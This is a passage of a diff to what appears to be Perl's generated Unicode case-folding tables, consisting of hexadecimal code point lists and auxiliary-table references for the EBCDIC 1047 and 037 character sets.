+	IVCF_use_AUX_TABLE_1,
+	0xC6,
+	0,
+	0xC6,
+	0x1E9E,
+	0,
 	0xD8,
-	0xF7,
-	0xF8,
-	0x2C2,
-	0x2C6,
-	0x2D2,
-	0x2E0,
-	0x2E5,
-	0x2EC,
-	0x2ED,
-	0x2EE,
-	0x2EF,
-	0x300,
-	0x375,
+	0,
+	0x41,
+	0,
+	0xC6,
+	0xD8,
+	0,
+	0x41,
+	IVCF_use_AUX_TABLE_2,
+	0x4C,
+	0,
+	0xC6,
+	0,
+	IVCF_use_AUX_TABLE_3,
+	0x54,
+	0,
+	0xC6,
+	0,
+	0xD8,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	IVCF_use_AUX_TABLE_4,
+	0,
+	IVCF_use_AUX_TABLE_5,
+	0,
+	IVCF_use_AUX_TABLE_6,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	0,
+	IVCF_use_AUX_TABLE_7,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
 	0x376,
+	0,
+	0x3FD,
+	0,
+	0x1FD3,
+	0,
+	0x386,
+	0x388,
+	0x1FE3,
+	0x391,
+	IVCF_use_AUX_TABLE_8,
+	0x393,
+	IVCF_use_AUX_TABLE_9,
+	0x396,
+	IVCF_use_AUX_TABLE_10,
+	IVCF_use_AUX_TABLE_11,
+	IVCF_use_AUX_TABLE_12,
+	0x39B,
+	IVCF_use_AUX_TABLE_13,
+	0x39D,
+	IVCF_use_AUX_TABLE_14,
+	IVCF_use_AUX_TABLE_15,
+	0,
+	IVCF_use_AUX_TABLE_16,
+	0x3A4,
+	IVCF_use_AUX_TABLE_17,
+	0x3A7,
+	IVCF_use_AUX_TABLE_18,
+	0x3AA,
+	0x38C,
+	0x38E,
+	0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0,
+	0x3F9,
+	0x37F,
+	0,
+	0x3F7,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	IVCF_use_AUX_TABLE_19,
+	0x413,
+	IVCF_use_AUX_TABLE_20,
+	0x415,
+	IVCF_use_AUX_TABLE_21,
+	0x41F,
+	IVCF_use_AUX_TABLE_22,
+	IVCF_use_AUX_TABLE_23,
+	0x423,
+	IVCF_use_AUX_TABLE_24,
+	0x42B,
+	0x400,
+	0,
+	0x460,
+	0,
+	IVCF_use_AUX_TABLE_25,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	0,
+	0xAB70,
+	0x13F8,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	IVCF_use_AUX_TABLE_26,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	0,
+	0xDF,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	0x1F59,
+	0,
+	0x1F5B,
+	0,
+	0x1F5D,
+	0,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	0x1F88,
+	0x1F80,
+	0x1F98,
+	0x1F90,
+	0x1FA8,
+	0x1FA0,
+	0x1FB8,
+	0,
+	0x1FBC,
+	0,
+	0x1FB3,
+	0,
+	0x1FCC,
+	0,
+	0x1FC3,
+	0,
+	0x1FD8,
+	0,
+	0x390,
+	0,
+	0x1FE8,
+	0,
+	0x3B0,
+	0,
+	0x1FEC,
+	0,
+	0x1FFC,
+	0,
+	0x1FF3,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	IVCF_use_AUX_TABLE_27,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0xFB06,
+	0xFB05,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_IVCF_invlist[] = { /* for EBCDIC 037 */
+	1303,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x47,
+	0x48,
+	0x4A,
+	0x51,
+	0x59,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8D,
+	0x8F,
+	0x91,
+	0x92,
+	0x93,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA2,
+	0xA3,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xDF,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
 	0x378,
 	0x37B,
 	0x37E,
-	0x37F,
-	0x380,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3B2,
+	0x3B3,
+	0x3B5,
+	0x3B6,
+	0x3B8,
+	0x3B9,
+	0x3BA,
+	0x3BB,
+	0x3BC,
+	0x3BD,
+	0x3C0,
+	0x3C1,
+	0x3C2,
+	0x3C3,
+	0x3C4,
+	0x3C6,
+	0x3C7,
+	0x3C9,
+	0x3CA,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x432,
+	0x433,
+	0x434,
+	0x435,
+	0x43E,
+	0x43F,
+	0x441,
+	0x442,
+	0x443,
+	0x44A,
+	0x44B,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x13A0,
+	0x13F0,
+	0x13F6,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
